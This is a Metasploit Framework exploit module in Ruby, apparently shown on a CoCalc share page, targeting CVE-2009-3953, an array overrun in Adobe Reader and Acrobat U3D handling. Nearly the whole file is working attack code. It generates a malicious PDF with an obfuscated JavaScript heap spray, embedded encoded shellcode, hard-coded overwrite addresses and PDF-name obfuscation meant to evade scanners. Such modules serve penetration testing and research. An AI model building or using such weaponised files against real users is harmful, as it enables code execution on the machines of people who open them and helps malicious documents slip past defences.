CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/fileformat/adobe_u3d_meshdecl.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'zlib'
7
8
class MetasploitModule < Msf::Exploit::Remote
9
Rank = GoodRanking
10
11
include Msf::Exploit::FILEFORMAT
12
13
def initialize(info = {})
14
super(update_info(info,
15
'Name' => 'Adobe U3D CLODProgressiveMeshDeclaration Array Overrun',
16
'Description' => %q{
17
This module exploits an array overflow in Adobe Reader and Adobe Acrobat.
18
Affected versions include < 7.1.4, < 8.2, and < 9.3. By creating a
19
specially crafted pdf that a contains malformed U3D data, an attacker may
20
be able to execute arbitrary code.
21
},
22
'License' => MSF_LICENSE,
23
'Author' =>
24
[
25
'Felipe Andres Manzano <felipe.andres.manzano[at]gmail.com>',
26
'jduck'
27
],
28
'References' =>
29
[
30
[ 'CVE', '2009-3953' ],
31
[ 'OSVDB', '61690' ],
32
[ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb10-02.html' ]
33
],
34
'DefaultOptions' =>
35
{
36
'EXITFUNC' => 'process',
37
'DisablePayloadHandler' => true
38
},
39
'Payload' =>
40
{
41
'Space' => 1024,
42
'BadChars' => "\x00",
43
'DisableNops' => true
44
},
45
'Platform' => 'win',
46
'Targets' =>
47
[
48
# test results (on Windows XP SP3)
49
# reader 7.0.5 - untested
50
# reader 7.0.8 - untested
51
# reader 7.0.9 - untested
52
# reader 7.1.0 - untested
53
# reader 7.1.1 - untested
54
# reader 8.0.0 - untested
55
# reader 8.1.2 - works
56
# reader 8.1.3 - not working :-/
57
# reader 8.1.4 - untested
58
# reader 8.1.5 - untested
59
# reader 8.1.6 - untested
60
# reader 9.0.0 - untested
61
# reader 9.1.0 - works
62
[ 'Adobe Reader Windows Universal (JS Heap Spray)',
63
{
64
'Size' => (6500/20),
65
'DataAddr' => 0x09011020,
66
'WriteAddr' => 0x7c49fb34,
67
}
68
],
69
],
70
'DisclosureDate' => '2009-10-13',
71
'DefaultTarget' => 0))
72
73
register_options(
74
[
75
OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']),
76
])
77
78
end
79
80
81
82
def exploit
83
# Encode the shellcode.
84
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
85
86
# Make some nops
87
nops = Rex::Text.to_unescape(make_nops(4))
88
89
=begin
90
91
Original notes on heap technique used in this exploit:
92
93
## PREPAREHOLES:
94
## We will construct 6500*20 bytes long chunks starting like this
95
## |0 |6 |8 |C |24 |size
96
## |00000... |0100|20100190|0000... | ......pad...... |
97
## \ \
98
## \ \ -Pointer: to controlled data
99
## \ -Flag: must be 1
100
## -Adobe will handle this ragged structure if the Flag is on.
101
## -Adobe will get 'what to write where' from the memory pointed
102
## by our supplied Pointer.
103
##
104
## then allocate a bunch of those ..
105
## .. | chunk | chunk | chunk | chunck | chunk | chunck | chunck | ..
106
## |XXXXXXX|XXXXXXX|XXXXXXX|XXXXXXXX|XXXXXXX|XXXXXXXX|XXXXXXXX|
107
##
108
## and then free some of them...
109
## .. | chunk | free | chunk | free | chunk | free | chunck | ..
110
## |XXXXXXX| |XXXXXXX| |XXXXXXX| |XXXXXXXX|
111
##
112
## This way controlling when the next 6500*20 malloc will be
113
## followed with. We freed more than one hole so it became tolerant
114
## to some degree of malloc/free trace noise.
115
## Note the 6500 is arbitrary it should be a fairly unused chunk size
116
## not big enough to cause a different type of allocation.
117
## Also as we don't need to reference it from anywhere we don't care
118
## where this hole layout is placed in memory.
119
120
## PREPAREMEMORY:
121
## In the next technique we make a big-chunk of 0x10000 bytes
122
## repeating a 0x1000 bytes long mini-chunk of controled data.
123
## Big-chunks are always allocated aligned to 0x1000. And if we
124
## allocate a fair amount of big-chuncks (XPSPx) we'll be confident
125
## Any 0x1000 aligned 0x1000 bytes from 0x09000000 to 0x0a000000
126
## will have our mini chunk
127
##
128
## A mini-chunk will have this look
129
##
130
## |0 |10 |54 |? |0xff0 |0x1000
131
## |00000... | POINTERS | nops | shellcode | pad |
132
##
133
## So we control what is in 0x09XXXXXX. shellcode will be at 0x09XXX054+
134
## But we use 0x09011064.
135
## POINTERS looks like this:
136
## ...
137
138
=end
139
140
# prepare the hole
141
daddr = target['DataAddr']
142
hole_data = [0,0,1,daddr].pack('VvvV')
143
#padding
144
hole_data << "\x00" * 24
145
hole = Rex::Text.to_unescape(hole_data)
146
147
# prepare ptrs
148
ptrs_data = [0].pack('V')
149
#where to write
150
ptrs_data << [target['WriteAddr'] / 4].pack('V')
151
#must be greater tan 5 and less than x for getting us where we want
152
ptrs_data << [6].pack('V')
153
#what to write
154
ptrs_data << [(daddr+0x10)].pack('V')
155
#autopointer for print magic(tm)
156
ptrs_data << [(daddr+0x14)].pack('V')
157
#function pointers for print magic(tm)
158
#pointing to our shellcode
159
ptrs_data << [(daddr+0x44)].pack('V') * 12
160
ptrs = Rex::Text.to_unescape(ptrs_data)
161
162
js_doc = <<-EOF
163
function prepareHoles(slide_size)
164
{
165
var size = 1000;
166
var xarr = new Array(size);
167
var hole = unescape("#{hole}");
168
var pad = unescape("%u5858");
169
while (pad.length <= slide_size/2 - hole.length)
170
pad += pad;
171
for (loop1=0; loop1 < size; loop1+=1)
172
{
173
ident = ""+loop1;
174
xarr[loop1]=hole + pad.substring(0,slide_size/2-hole.length);
175
}
176
for (loop2=0;loop2<100;loop2++)
177
{
178
for (loop1=size/2; loop1 < size-2; loop1+=2)
179
{
180
xarr[loop1]=null;
181
xarr[loop1]=pad.substring(0,0x10000/2 )+"A";
182
xarr[loop1]=null;
183
}
184
}
185
return xarr;
186
}
187
188
function prepareMemory(size)
189
{
190
var mini_slide_size = 0x1000;
191
var slide_size = 0x100000;
192
var xarr = new Array(size);
193
var pad = unescape("%ucccc");
194
195
while (pad.length <= 32 )
196
pad += pad;
197
198
var nops = unescape("#{nops}");
199
while (nops.length <= mini_slide_size/2 - nops.length)
200
nops += nops;
201
202
var shellcode = unescape("#{shellcode}");
203
var pointers = unescape("#{ptrs}");
204
var chunk = nops.substring(0,32/2) + pointers +
205
nops.substring(0,mini_slide_size/2-pointers.length - shellcode.length - 32) +
206
shellcode + pad.substring(0,32/2);
207
chunk=chunk.substring(0,mini_slide_size/2);
208
while (chunk.length <= slide_size/2)
209
chunk += chunk;
210
211
for (loop1=0; loop1 < size; loop1+=1)
212
{
213
ident = ""+loop1;
214
xarr[loop1]=chunk.substring(16,slide_size/2 -32-ident.length)+ident;
215
}
216
return xarr;
217
}
218
219
var mem = prepareMemory(200);
220
var holes = prepareHoles(6500);
221
this.pageNum = 1;
222
EOF
223
js_pg1 = %Q|this.print({bUI:true, bSilent:false, bShrinkToFit:false});|
224
225
# Obfuscate it up a bit
226
js_doc = obfuscate_js(js_doc,
227
'Symbols' => {
228
'Variables' => %W{ slide_size size hole pad mini_slide_size nops shellcode pointers chunk mem holes xarr loop1 loop2 ident },
229
'Methods' => %W{ prepareMemory prepareHoles }
230
}).to_s
231
232
# create the u3d stuff
233
u3d = make_u3d_stream(target['Size'], rand_text_alpha(rand(28)+4))
234
235
# Create the pdf
236
pdf = make_pdf(u3d, js_doc, js_pg1)
237
238
print_status("Creating '#{datastore['FILENAME']}' file...")
239
240
file_create(pdf)
241
end
242
243
244
def obfuscate_js(javascript, opts)
245
js = Rex::Exploitation::ObfuscateJS.new(javascript, opts)
246
js.obfuscate
247
return js
248
end
249
250
251
def random_non_ascii_string(count)
252
result = ""
253
count.times do
254
result << (rand(128) + 128).chr
255
end
256
result
257
end
258
259
def io_def(id)
260
"%d 0 obj\n" % id
261
end
262
263
def io_ref(id)
264
"%d 0 R" % id
265
end
266
267
#http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
268
def n_obfu(str)
269
270
result = ""
271
str.scan(/./u) do |c|
272
if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
273
result << "#%x" % c.unpack("C*")[0]
274
else
275
result << c
276
end
277
end
278
result
279
end
280
281
def ascii_hex_whitespace_encode(str)
282
result = ""
283
whitespace = ""
284
str.each_byte do |b|
285
result << whitespace << "%02x" % b
286
whitespace = " " * (rand(3) + 1)
287
end
288
result << ">"
289
end
290
291
def u3d_pad(str, char="\x00")
292
ret = ""
293
if (str.length % 4) > 0
294
ret << char * (4 - (str.length % 4))
295
end
296
return ret
297
end
298
299
300
def make_u3d_stream(size, meshname)
301
302
# build the U3D header
303
hdr_data = [1,0].pack('n*') # version info
304
hdr_data << [0,0x24,31337,0,0x6a].pack('VVVVV')
305
hdr = "U3D\x00"
306
hdr << [hdr_data.length,0].pack('VV')
307
hdr << hdr_data
308
309
# mesh declaration
310
decl_data = [meshname.length].pack('v')
311
decl_data << meshname
312
decl_data << [0].pack('V') # chain idx
313
# max mesh desc
314
decl_data << [0].pack('V') # mesh attrs
315
decl_data << [1].pack('V') # face count
316
decl_data << [size].pack('V') # position count
317
decl_data << [4].pack('V') # normal count
318
decl_data << [0].pack('V') # diffuse color count
319
decl_data << [0].pack('V') # specular color count
320
decl_data << [0].pack('V') # texture coord count
321
decl_data << [1].pack('V') # shading count
322
# shading desc
323
decl_data << [0].pack('V') # shading attr
324
decl_data << [0].pack('V') # texture layer count
325
decl_data << [0].pack('V') # texture coord dimensions
326
# no textore coords (original shading ids)
327
decl_data << [size+2].pack('V') # minimum resolution
328
decl_data << [size+3].pack('V') # final maximum resolution (needs to be bigger than the minimum)
329
# quality factors
330
decl_data << [0x12c].pack('V') # position quality factor
331
decl_data << [0x12c].pack('V') # normal quality factor
332
decl_data << [0x12c].pack('V') # texture coord quality factor
333
# inverse quantiziation
334
decl_data << [0].pack('V') # position inverse quant
335
decl_data << [0].pack('V') # normal inverse quant
336
decl_data << [0].pack('V') # texture coord inverse quant
337
decl_data << [0].pack('V') # diffuse color inverse quant
338
decl_data << [0].pack('V') # specular color inverse quant
339
# resource params
340
decl_data << [0].pack('V') # normal crease param
341
decl_data << [0].pack('V') # normal update param
342
decl_data << [0].pack('V') # normal tolerance param
343
# skeleton description
344
decl_data << [0].pack('V') # bone count
345
# padding
346
decl_pad = u3d_pad(decl_data)
347
mesh_decl = [0xffffff31,decl_data.length,0].pack('VVV')
348
mesh_decl << decl_data
349
mesh_decl << decl_pad
350
351
# build the modifier chain
352
chain_data = [meshname.length].pack('v')
353
chain_data << meshname
354
chain_data << [1].pack('V') # type (model resource)
355
chain_data << [0].pack('V') # attributes (no bounding info)
356
chain_data << u3d_pad(chain_data)
357
chain_data << [1].pack('V') # number of modifiers
358
chain_data << mesh_decl
359
modifier_chain = [0xffffff14,chain_data.length,0].pack('VVV')
360
modifier_chain << chain_data
361
362
# mesh continuation
363
cont_data = [meshname.length].pack('v')
364
cont_data << meshname
365
cont_data << [0].pack('V') # chain idx
366
cont_data << [0].pack('V') # start resolution
367
cont_data << [0].pack('V') # end resolution
368
# no resolution update, unknown data follows
369
cont_data << [0].pack('V')
370
cont_data << [1].pack('V') * 10
371
mesh_cont = [0xffffff3c,cont_data.length,0].pack('VVV')
372
mesh_cont << cont_data
373
mesh_cont << u3d_pad(cont_data)
374
375
data = hdr
376
data << modifier_chain
377
data << mesh_cont
378
379
# patch the length
380
data[24,4] = [data.length].pack('V')
381
382
return data
383
384
end
385
386
def make_pdf(u3d_stream, js_doc, js_pg1)
387
388
xref = []
389
eol = "\x0a"
390
obj_end = "" << eol << "endobj" << eol
391
392
# the header
393
pdf = "%PDF-1.7" << eol
394
395
# filename/comment
396
pdf << "%" << random_non_ascii_string(4) << eol
397
398
# js stream (doc open action js)
399
xref << pdf.length
400
compressed = Zlib::Deflate.deflate(ascii_hex_whitespace_encode(js_doc))
401
pdf << io_def(1) << n_obfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol
402
pdf << "stream" << eol
403
pdf << compressed << eol
404
pdf << "endstream" << eol
405
pdf << obj_end
406
407
# js stream 2 (page 1 annot js)
408
xref << pdf.length
409
compressed = Zlib::Deflate.deflate(ascii_hex_whitespace_encode(js_pg1))
410
pdf << io_def(2) << n_obfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol
411
pdf << "stream" << eol
412
pdf << compressed << eol
413
pdf << "endstream" << eol
414
pdf << obj_end
415
416
# catalog
417
xref << pdf.length
418
pdf << io_def(3) << n_obfu("<</Type/Catalog/Outlines ") << io_ref(4)
419
pdf << n_obfu("/Pages ") << io_ref(5)
420
pdf << n_obfu("/OpenAction ") << io_ref(8) << n_obfu(">>")
421
pdf << obj_end
422
423
# outline
424
xref << pdf.length
425
pdf << io_def(4) << n_obfu("<</Type/Outlines/Count 0>>")
426
pdf << obj_end
427
428
# pages/kids
429
xref << pdf.length
430
pdf << io_def(5) << n_obfu("<</Type/Pages/Count 2/Kids [")
431
pdf << io_ref(10) << " " # empty page
432
pdf << io_ref(11) # u3d page
433
pdf << n_obfu("]>>")
434
pdf << obj_end
435
436
# u3d stream
437
xref << pdf.length
438
pdf << io_def(6) << n_obfu("<</Type/3D/Subtype/U3D/Length %s>>" % u3d_stream.length) << eol
439
pdf << "stream" << eol
440
pdf << u3d_stream << eol
441
pdf << "endstream"
442
pdf << obj_end
443
444
# u3d annotation object
445
xref << pdf.length
446
pdf << io_def(7) << n_obfu("<</Type/Annot/Subtype")
447
pdf << "/3D/3DA <</A/PO/DIS/I>>"
448
pdf << n_obfu("/Rect [0 0 640 480]/3DD ") << io_ref(6) << n_obfu("/F 7>>")
449
pdf << obj_end
450
451
# js dict (open action js)
452
xref << pdf.length
453
pdf << io_def(8) << n_obfu("<</Type/Action/S/JavaScript/JS ") + io_ref(1) + ">>" << obj_end
454
455
# js dict (page 1 annot js)
456
xref << pdf.length
457
pdf << io_def(9) << n_obfu("<</Type/Action/S/JavaScript/JS ") + io_ref(2) + ">>" << obj_end
458
459
# page 0 (empty)
460
xref << pdf.length
461
pdf << io_def(10) << n_obfu("<</Type/Page/Parent ") << io_ref(5) << n_obfu("/MediaBox [0 0 640 480]")
462
pdf << n_obfu(" >>")
463
pdf << obj_end
464
465
# page 1 (u3d/print)
466
xref << pdf.length
467
pdf << io_def(11) << n_obfu("<</Type/Page/Parent ") << io_ref(5) << n_obfu("/MediaBox [0 0 640 480]")
468
pdf << n_obfu("/Annots [") << io_ref(7) << n_obfu("]")
469
pdf << n_obfu("/AA << /O ") << io_ref(9) << n_obfu(">>")
470
pdf << n_obfu(">>")
471
pdf << obj_end
472
473
# xrefs
474
xrefPosition = pdf.length
475
pdf << "xref" << eol
476
pdf << "0 %d" % (xref.length + 1) << eol
477
pdf << "0000000000 65535 f" << eol
478
xref.each do |index|
479
pdf << "%010d 00000 n" % index << eol
480
end
481
482
# trailer
483
pdf << "trailer" << eol
484
pdf << n_obfu("<</Size %d/Root " % (xref.length + 1)) << io_ref(3) << ">>" << eol
485
pdf << "startxref" << eol
486
pdf << xrefPosition.to_s() << eol
487
pdf << "%%EOF" << eol
488
489
end
490
end
491
492